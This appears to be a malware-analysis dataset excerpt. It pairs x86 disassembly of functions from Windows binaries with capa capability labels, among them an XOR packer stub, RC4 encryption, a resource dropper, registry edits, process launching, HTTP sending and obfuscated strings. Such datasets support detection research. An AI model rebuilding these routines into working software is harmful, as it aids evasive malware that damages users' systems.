joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e61
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov dword [ebp - 0x138], ecx
mov byte [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x405077
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x405077
push 0x4121ec
mov edx, dword [ebp + 8]
push edx
call fcn.004052a0
add esp, 8
test eax, eax
je 0x405077
push 0x4121f0
mov eax, dword [ebp + 8]
push eax
call fcn.004052a0
add esp, 8
test eax, eax
je 0x405077
mov ecx, dword [ebp + 8]
push ecx
call fcn.00405460
add esp, 4
sub eax, 1
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
jl 0x404f11
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x124]
movsx eax, byte [edx]
cmp eax, 0x5c
je 0x404f00
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x124]
movsx edx, byte [ecx]
cmp edx, 0x2f
je 0x404f00
jmp 0x404f11
mov eax, dword [ebp - 0x124]
sub eax, 1
mov dword [ebp - 0x124], eax
jmp 0x404ed3
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x124]
movsx edx, byte [ecx + 1]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x124]
mov byte [eax + 1], 0
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x124]
movsx edx, byte [ecx]
cmp edx, 0x3a
jne 0x404fa7
cmp dword [ebp - 0x124], 1
jne 0x404fa7
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x124]
mov cl, byte [ebp - 0x128]
mov byte [eax + 1], cl
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jl 0x404f94
cmp dword [ebp - 0x13c], 1
jle 0x404f8d
jmp 0x404f94
xor al, al
jmp 0x40507a
mov eax, dword [ebp + 0xc]
and eax, 0xff
neg eax
sbb eax, eax
neg eax
jmp 0x40507a
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004060da
add esp, 8
mov dword [ebp - 0x12c], eax
mov dword [ebp - 8], 0
cmp dword [ebp - 0x12c], 0xffffffff
je 0x405065
cmp dword [ebp - 8], 0
jne 0x405065
mov eax, dword [ebp - 0x120]
and eax, 0x10
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x405009
mov ecx, dword [ebp + 0xc]
and ecx, 0xff
test ecx, ecx
jne 0x40501f
cmp dword [ebp - 0x134], 0
jne 0x40502c
mov edx, dword [ebp + 0xc]
and edx, 0xff
test edx, edx
jne 0x40502c
mov byte [ebp - 4], 1
mov dword [ebp - 8], 1
jmp 0x40504b
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call fcn.004061a4
add esp, 8
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405060
mov edx, dword [ebp - 0x12c]
push edx
call fcn.00406269
add esp, 4
jmp 0x404fd4
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x124]
mov cl, byte [ebp - 0x128]
mov byte [eax + 1], cl
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x40a1b2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x412580
cmp edx, dword [eax]
je 0x40a1d4
add eax, 8
inc ecx
cmp eax, 0x412610
jl 0x40a1c5
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x412580]
jne 0x40a302
mov eax, dword [0x414f64]
cmp eax, 1
je 0x40a2dc
test eax, eax
jne 0x40a205
cmp dword [0x412244], 1
je 0x40a2dc
cmp edx, 0xfc
je 0x40a302
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40a23c
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405370
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405460
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40a27f
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405460
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x410638
push edi
call fcn.00405900
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405370
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405380
lea eax, [ebp - 0xa0]
push 0x410618
push eax
call fcn.00405380
push dword [esi + 0x412584]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405380
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040d3b8
add esp, 0x2c
pop edi
jmp 0x40a302
lea eax, [ebp + 8]
lea esi, [esi + 0x412584]
push 0
push eax
push dword [esi]
call fcn.00405460
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x28217a8b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x799699f
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x40226a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0
mov eax, 0x4021d6
sub eax, 0x401cf5
mov dword [ebp - 4], eax
push 8
push 0x408008
lea ecx, [ebp - 0x104]
push ecx
call fcn.00406350
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
push 0x401cf5
lea eax, [ebp - 0x104]
push eax
call fcn.00406464
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x104]
push ecx
call fcn.00406890
add esp, 0xc
call fcn.00401d3d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x406464
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x40648a
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp + 0x10]
jge 0x40654c
mov edx, dword [ebp - 0xc]
add edx, 1
and edx, 0x800000ff
jns 0x4064ac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
and edx, 0x800000ff
jns 0x4064ce
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov byte [ebp - 4], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov al, byte [ebp - 4]
mov byte [edx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
xor ecx, ecx
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x40651d
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 4], al
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp - 4]
and eax, 0xff
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov byte [ecx], dl
jmp 0x406481
mov esp, ebp
pop ebp
ret
Function at 0x401db0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401dc7
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x401dfc
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x401df8
cmp edi, eax
jae 0x401dfc
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x401dea
cmp edi, eax
jb 0x401e00
xor eax, eax
jmp 0x401e09
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x403f00
Capabilities:
Create directory
Extract resource via kernel32 functions
Get file attributes
Set file attributes
Write file on windows

Disassembly:
push 0x14
mov eax, 0x433bcf
call fcn.0042e724
mov esi, 0x438a10
push esi
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
mov dword [ebp - 0x1c], ebx
call fcn.00404084
push ebx
lea eax, [ebp - 0x14]
push str.ZGtuZ3E
push eax
mov dword [ebp - 4], ebx
call fcn.00413ad1
add esp, 0xc
push dword [eax]
push 0x82
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401053
cmp edi, ebx
je 0x404052
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x404052
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x404052
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x404052
push ebx
lea eax, [ebp - 0x18]
push str.B1F3TEtMUVZDTk4MR1pH
push eax
call fcn.00413ad1
add esp, 0xc
mov byte [ebp - 4], 1
mov eax, dword [eax]
push dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x10]
call fcn.00401cd7
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
add eax, 0xfffffff0
call fcn.00401053
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
lea eax, [ebp + 0xc]
push str.VUAJ
push eax
call fcn.00413ad1
mov eax, dword [eax]
add esp, 0xc
push 0x40
push eax
push dword [ebp - 0x10]
call fcn.0041b45d
mov edi, eax
mov eax, dword [ebp + 0xc]
add esp, 0xc
add eax, 0xfffffff0
call fcn.00401053
cmp edi, ebx
jne 0x40402d
push esi
push dword [ebp + 8]
call fcn.00404084
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401053
mov eax, dword [ebp + 8]
jmp 0x404072
push edi
push dword [ebp - 0x14]
push 1
push dword [ebp - 0x1c]
call fcn.0041b8d9
add esp, 0x10
push edi
cmp eax, dword [ebp - 0x14]
je 0x40404c
call fcn.0041b9d2
pop ecx
jmp 0x404014
call fcn.0041b9d2
pop ecx
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.0040482d
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401053
mov eax, esi
call fcn.0042e7fc
ret 8

Function at 0x40556a
Capabilities:
Delete registry key

Disassembly:
cmp byte [0x44a614], 0
jne 0x40559a
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405593
push str.RegDeleteKeyExW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44a618], eax
mov byte [0x44a614], 1
mov eax, dword [0x44a618]
test eax, eax
je 0x4055b2
push 0
push dword [esi + 4]
push dword [esp + 0xc]
push dword [esi]
call eax
jmp 0x4055be
push dword [esp + 4]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
ret 4
Function at 0x405616
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0
jne 0x405624
push 0xd
pop eax
jmp 0x405657
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x40562b
mov eax, dword [ebp + 8]
push edi
push dword [ebp + 0x10]
push 7
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x40565b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x442080]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 4]
push edi
push ecx
push dword [esi]
mov dword [ebp - 0x21c], ecx
xor edi, edi
or eax, 0x2001f
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x214], edi
mov dword [ebp - 0x210], edi
call fcn.004055d8
mov ebx, eax
cmp ebx, edi
je 0x4056c1
cmp dword [ebp - 0x214], edi
je 0x4056ba
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x405759
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x4056e9
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x214]
call fcn.0040565b
mov dword [ebp - 0x220], eax
cmp eax, edi
jne 0x40576a
lea eax, [ebp - 0x228]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x20c]
push eax
push edi
push dword [ebp - 0x214]
mov dword [ebp - 0x218], 0x100
call ebx
test eax, eax
je 0x4056c9
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x214], edi
je 0x405734
push dword [ebp - 0x214]
call ebx
mov dword [ebp - 0x214], edi
push dword [ebp - 0x21c]
mov dword [ebp - 0x210], edi
call fcn.0040556a
mov esi, eax
cmp dword [ebp - 0x214], edi
je 0x405757
push dword [ebp - 0x214]
call ebx
mov eax, esi
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041a944
leave
ret 4
cmp dword [ebp - 0x214], edi
je 0x40577e
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x220]
jmp 0x405759
Function at 0x40ecf0
Capabilities:
Parse credit card information

Disassembly:
mov ecx, dword [esi + 0x40]
push ebx
push ebp
push edi
mov edi, 0xffff
xor al, al
mov bl, 1
cmp ecx, edi
je 0x40ee8a
mov ebp, 0x10000000
cmp ecx, 0x7c
je 0x40ee8a
cmp ecx, 0x29
jne 0x40ed36
cmp dword [esi + 0x10], 0
jne 0x40ee8a
test dword [esi + 0x44], ebp
jne 0x40ed36
push 5
call fcn.0042dced
pop ecx
jmp 0x40ee74
cmp ecx, 0x2e
jne 0x40ed52
push 5
lea eax, [esi + 0x18]
push eax
call fcn.0040ef6d
mov eax, esi
call fcn.0040ecc4
jmp 0x40ee74
cmp ecx, 0x5c
jne 0x40edb3
mov eax, esi
jmp 0x4d3790
lea eax, [esi + 0x18]
push eax
call fcn.0040ef6d
mov eax, esi
call fcn.0040ecc4
jmp 0x40ee7b
cmp ecx, 0x5b
jne 0x40eddd
mov eax, esi
call fcn.0040ecc4
mov eax, esi
call fcn.0040f6e2
cmp dword [esi + 0x40], 0x5d
je 0x40ed46
push 4
call fcn.0042dced
pop ecx
jmp 0x40ed46
cmp ecx, 0x28
jne 0x40ee09
mov eax, esi
call fcn.0040ecc4
mov eax, esi
call fcn.0040f7ff
cmp dword [esi + 0x40], 0x29
mov bl, al
je 0x40ee00
push 5
call fcn.0042dced
pop ecx
mov eax, esi
call fcn.0040ecc4
jmp 0x40ee70
cmp ecx, 0x5e
jne 0x40ee15
push 2
jmp 0x40ed71
cmp ecx, 0x24
jne 0x40ee21
push 3
jmp 0x40ed71
cmp ecx, 0x2a
je 0x40ee68
cmp ecx, 0x2b
je 0x40ee68
cmp ecx, 0x3f
je 0x40ee68
cmp ecx, 0x7b
je 0x40ee68
cmp ecx, 0x7d
jne 0x40ee46
test dword [esi + 0x44], ebp
jne 0x40ee46
push 6
jmp 0x40ed2b
cmp ecx, 0x5d
jne 0x40ee57
test dword [esi + 0x44], ebp
jne 0x40ee57
push 4
jmp 0x40ed2b
mov ax, word [esi + 0x3e]
lea ecx, [esi + 0x18]
call fcn.0040f995
jmp 0x40ed46
push 0xa
call fcn.0042dced
pop ecx
test bl, bl
je 0x40ee7b
mov eax, esi
call fcn.0040f8cd
mov ecx, dword [esi + 0x40]
mov al, 1
mov bl, al
cmp ecx, edi
jne 0x40ed0c
pop edi
pop ebp
pop ebx
ret
Function at 0x410c11
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push 0x424
mov eax, 0x433f83
call fcn.0042e78d
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x21c], ax
xor ebx, ebx
lea eax, [ebp - 0x21a]
push ebx
push eax
call fcn.0041ca10
add esp, 0xc
mov esi, 0x103
push esi
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp eax, ebx
je 0x410d43
cmp eax, 0x104
jae 0x410d43
mov eax, dword [0x44970c]
mov ecx, 0x44970c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x430], eax
push ebx
lea eax, [ebp - 0x42c]
push str.DUECZG1wAg1uAgcHdAJrbAIKEw4TDhMSCwJmbQJGR04CDWQCAAcTAAIcHAJsd24CBAJya2xlAhMMEwwTDBMCD0wCEwIPVQITEhISAhwCbHduAgQCa2QCbG12Amd6a3F2AgAHEwACZ3prdg
push eax
mov dword [ebp - 4], ebx
call fcn.00413ad1
add esp, 0xc
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 3
mov eax, dword [eax]
push ecx
push eax
lea eax, [ebp - 0x430]
push eax
call fcn.00411590
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x42c]
add esp, 0xc
add eax, 0xfffffff0
call fcn.00401053
xor eax, eax
push edi
mov word [ebp - 0x424], ax
lea eax, [ebp - 0x422]
push ebx
push eax
call fcn.0041ca10
add esp, 0xc
push ebx
lea eax, [ebp - 0x42c]
push 0x439ec4
push eax
call fcn.00413ad1
mov eax, dword [eax]
add esp, 0xc
push esi
lea ecx, [ebp - 0x424]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
mov eax, dword [ebp - 0x42c]
setne byte [ebp - 0x425]
add eax, 0xfffffff0
call fcn.00401053
mov esi, dword [ebp - 0x430]
cmp byte [ebp - 0x425], bl
je 0x410d3b
push ebx
push ebx
push esi
lea eax, [ebp - 0x424]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [esi - 0x10]
call fcn.00401053
call fcn.0042e810
ret
Function at 0x410d49
Capabilities:
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4339dc
mov eax, dword fs:[0]
push eax
mov eax, 0x20f0
call fcn.004263c0
mov eax, dword [0x442080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20b4], eax
xor eax, eax
mov edi, 0x1048
push edi
mov word [ebp - 0x1060], ax
xor esi, esi
lea eax, [ebp - 0x105e]
push esi
push eax
mov ebx, ecx
call fcn.0041ca10
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x20b0], ax
lea eax, [ebp - 0x20ae]
push esi
push eax
call fcn.0041ca10
add esp, 0xc
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x20fc]
push esi
push eax
call fcn.0041ca10
lea eax, [ebp - 0x1060]
mov dword [ebp - 0x20ec], eax
mov eax, 0x824
lea ecx, [ebp - 0x20b0]
mov dword [ebp - 0x20e8], eax
mov dword [ebp - 0x20cc], eax
mov eax, ebx
mov dword [ebp - 0x20d0], ecx
add esp, 0xc
mov dword [ebp - 0x20fc], edi
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, si
jne 0x410e09
sub eax, ecx
lea ecx, [ebp - 0x20fc]
push ecx
push esi
sar eax, 1
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x410f2b
push esi
push esi
push esi
push esi
push dword [ebp - 0x20b4]
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x20b8], eax
cmp eax, esi
je 0x410f2b
push esi
push esi
push 3
push esi
push esi
push dword [ebp - 0x20e4]
lea ecx, [ebp - 0x1060]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp - 0x20b4], eax
cmp eax, esi
je 0x410f1f
xor ebx, ebx
mov eax, 0x1bb
cmp word [ebp - 0x20e4], ax
push esi
setne bl
lea eax, [ebp - 0x20bc]
push 0x439ee0
push eax
dec ebx
and ebx, 0x800000
or ebx, 0x8440f300
call fcn.00413ad1
add esp, 0xc
mov edi, eax
push esi
lea eax, [ebp - 0x20c0]
push 0x439efc
push eax
mov dword [ebp - 4], esi
call fcn.00413ad1
mov edi, dword [edi]
mov eax, dword [eax]
add esp, 0xc
push esi
push ebx
push esi
push esi
push edi
lea ecx, [ebp - 0x20b0]
push ecx
push eax
push dword [ebp - 0x20b4]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
mov eax, dword [ebp - 0x20c0]
add eax, 0xfffffff0
call fcn.00401053
mov eax, dword [ebp - 0x20bc]
add eax, 0xfffffff0
call fcn.00401053
cmp edi, esi
je 0x410f13
push esi
push esi
push esi
push esi
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x20b4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x20b8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041a944
leave
ret
Function at 0x410f45
Capabilities:
Get common file path

Disassembly:
push 0x234
mov eax, 0x4339a9
call fcn.0042e78d
xor esi, esi
push 0x438a10
mov dword [ebp - 4], esi
push ebx
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x23c], esi
call fcn.00404084
push esi
lea eax, [ebp - 0x238]
push str.UUpHTk4REAxGTk4
mov dword [ebp - 4], esi
push eax
mov dword [ebp - 0x23c], 1
call fcn.00413ad1
add esp, 0xc
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
mov eax, dword [ebp - 0x238]
add eax, 0xfffffff0
call fcn.00401053
cmp edi, esi
je 0x411073
lea eax, [ebp - 0x234]
push eax
mov ecx, str.cWplR1ZpTE1VTGRNTkZHUHJDVko
mov dword [ebp - 0x230], esi
call fcn.00413bec
pop ecx
push dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [ebp - 0x234]
add eax, 0xfffffff0
call fcn.00401053
cmp edi, esi
je 0x411073
mov eax, 0x65f9
mov word [ebp - 0x228], ax
mov eax, 0x4cf6
mov word [ebp - 0x226], ax
lea eax, [ebp - 0x230]
push eax
push esi
push esi
lea eax, [ebp - 0x22c]
push eax
mov dword [ebp - 0x22c], 0x3eb685db
mov byte [ebp - 0x224], 0xa0
mov byte [ebp - 0x223], 0x3a
mov byte [ebp - 0x222], 0xe3
mov byte [ebp - 0x221], 0xef
mov byte [ebp - 0x220], 0x65
mov byte [ebp - 0x21f], 0x72
mov byte [ebp - 0x21e], 0x9f
mov byte [ebp - 0x21d], 0x3d
call edi
cmp eax, esi
jl 0x411073
push dword [ebp - 0x230]
push ebx
call fcn.00401aa8
push dword [ebp - 0x230]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [ebx]
cmp dword [eax - 0xc], esi
jne 0x4110bc
xor eax, eax
push 0x206
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push esi
push eax
call fcn.0041ca10
add esp, 0xc
lea eax, [ebp - 0x21c]
push eax
push 1
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x4110bc
lea eax, [ebp - 0x21c]
push eax
push ebx
call fcn.00401aa8
mov eax, ebx
call fcn.0042e810
ret